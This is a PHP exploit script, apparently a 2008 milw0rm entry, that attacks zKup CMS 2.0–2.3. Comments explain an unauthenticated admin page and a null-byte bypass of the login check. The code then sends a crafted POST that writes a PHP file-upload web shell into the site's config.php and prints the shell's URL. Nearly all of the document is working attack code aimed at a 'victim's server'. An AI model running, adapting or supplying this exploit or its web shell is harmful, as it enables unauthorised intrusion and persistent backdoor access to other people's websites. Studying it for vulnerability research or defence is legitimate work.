zKup CMS 2.0 < 2.3 - Arbitrary File Upload

#!/usr/bin/php
<?php
/*
 * Name:    zKup CMS v2.0 <= v2.3 0-day exploit (upload)
 * Credits: Charles "real" F. <charlesfol[at]hotmail.fr>
 * Date:    03-08-2008
 * Conditions: PHP Version, magic_quotes_gpc=Off
 *
 * This exploit spawn a php uploader in your victim's
 * server.
 *
 * Okay, you may need explanations:
 *
 * First, we can use administration without being admin
 * (see ./admin/configuration/modifier.php)
 *
 * Then, when we add an admin, it is saved in a php file,
 * named "./fichiers/config.php".
 * A vuln is present when the script controls $login value,
 * because it use this regex: #^[a-zA-Z0-9]+$#
 * in order to see if it's alphanumerical.
 * I bypassed this regex using a NULL POISON BYTE (%00),
 * and writing my upload script just after.
 * I finally put some lines in order not to
 * corrupt config.php.
 *
 */

print "\n";
print "   zKup CMS v2.0 <= v2.3 0-day exploit (upload)\n";
print "       by Charles \"real\" F. <charlesfol[at]hotmail.fr>\n\n";

if($argc<2) { print "usage: php zkup2_upload_exploit.php <url>\n   eg: php zkup2_upload_exploit.php http://127.0.0.1/votresite/";exit(-1); }
$url = $argv[1];

$code = '
if(isset($_POST[\'upload\']))
{
    if( !move_uploaded_file($_FILES[\'file\'][\'tmp_name\'], "./".$_FILES[\'file\'][\'name\'])) exit("<center>Error (move_uploaded_file)</center>");
    else echo "<center>File uploaded</center>";
}
if($_GET[\'up\']==1)
{
?>
<form method="post" enctype="multipart/form-data">
<center>
<input type="file" name="file">
<input type="submit" name="upload" value="Upload">
</center>
</form>
<?php
}
';
$code = urlencode($code);

/* Not to compromise config.php work */
$restore = array();
$restore[0] = 'admin'.rand(100,200).'%00","mdp"=>"436ae61e82a236bd4771e184a556bf65","lvl"=>9);';
$restore[1] = '$tAdmin[] = array("login"=> "admin'.rand(200,300);

$postit = "action=ajout&login=$restore[0]$code$restore[1]&mdp=real&mdp2=real&lvl=9";

print "[*] sending evil c0de ... ";
if(preg_match("#alert#i",post($url."admin/configuration/modifier.php","$postit"))) print "done.\n[*] upload script: ".$url."fichiers/config.php?up=1\n";
else print "failed.\n";

function post($url,$data,$get=1)
{
	$result = '';
	preg_match("#^http://([^/]+)(/.*)$#i",$url,$info);
	$host = $info[1];
	$page = $info[2];
	$fp = fsockopen($host, 80, &$errno, &$errstr, 30);

	$req  = "POST $page HTTP/1.1\r\n";
	$req .= "Host: $host\r\n";
	$req .= "User-Agent: Mozilla Firefox\r\n";
	$req .= "Connection: close\r\n";
	$req .= "Content-type: application/x-www-form-urlencoded\r\n";
	$req .= "Content-length: ".strlen( $data )."\r\n";
	$req .= "\r\n";
	$req .= $data."\r\n";

	fputs($fp,$req);

	if($get) while(!feof($fp)) $result .= fgets($fp,128);

	fclose($fp);
	return $result;
}

?>

# milw0rm.com [2008-03-07]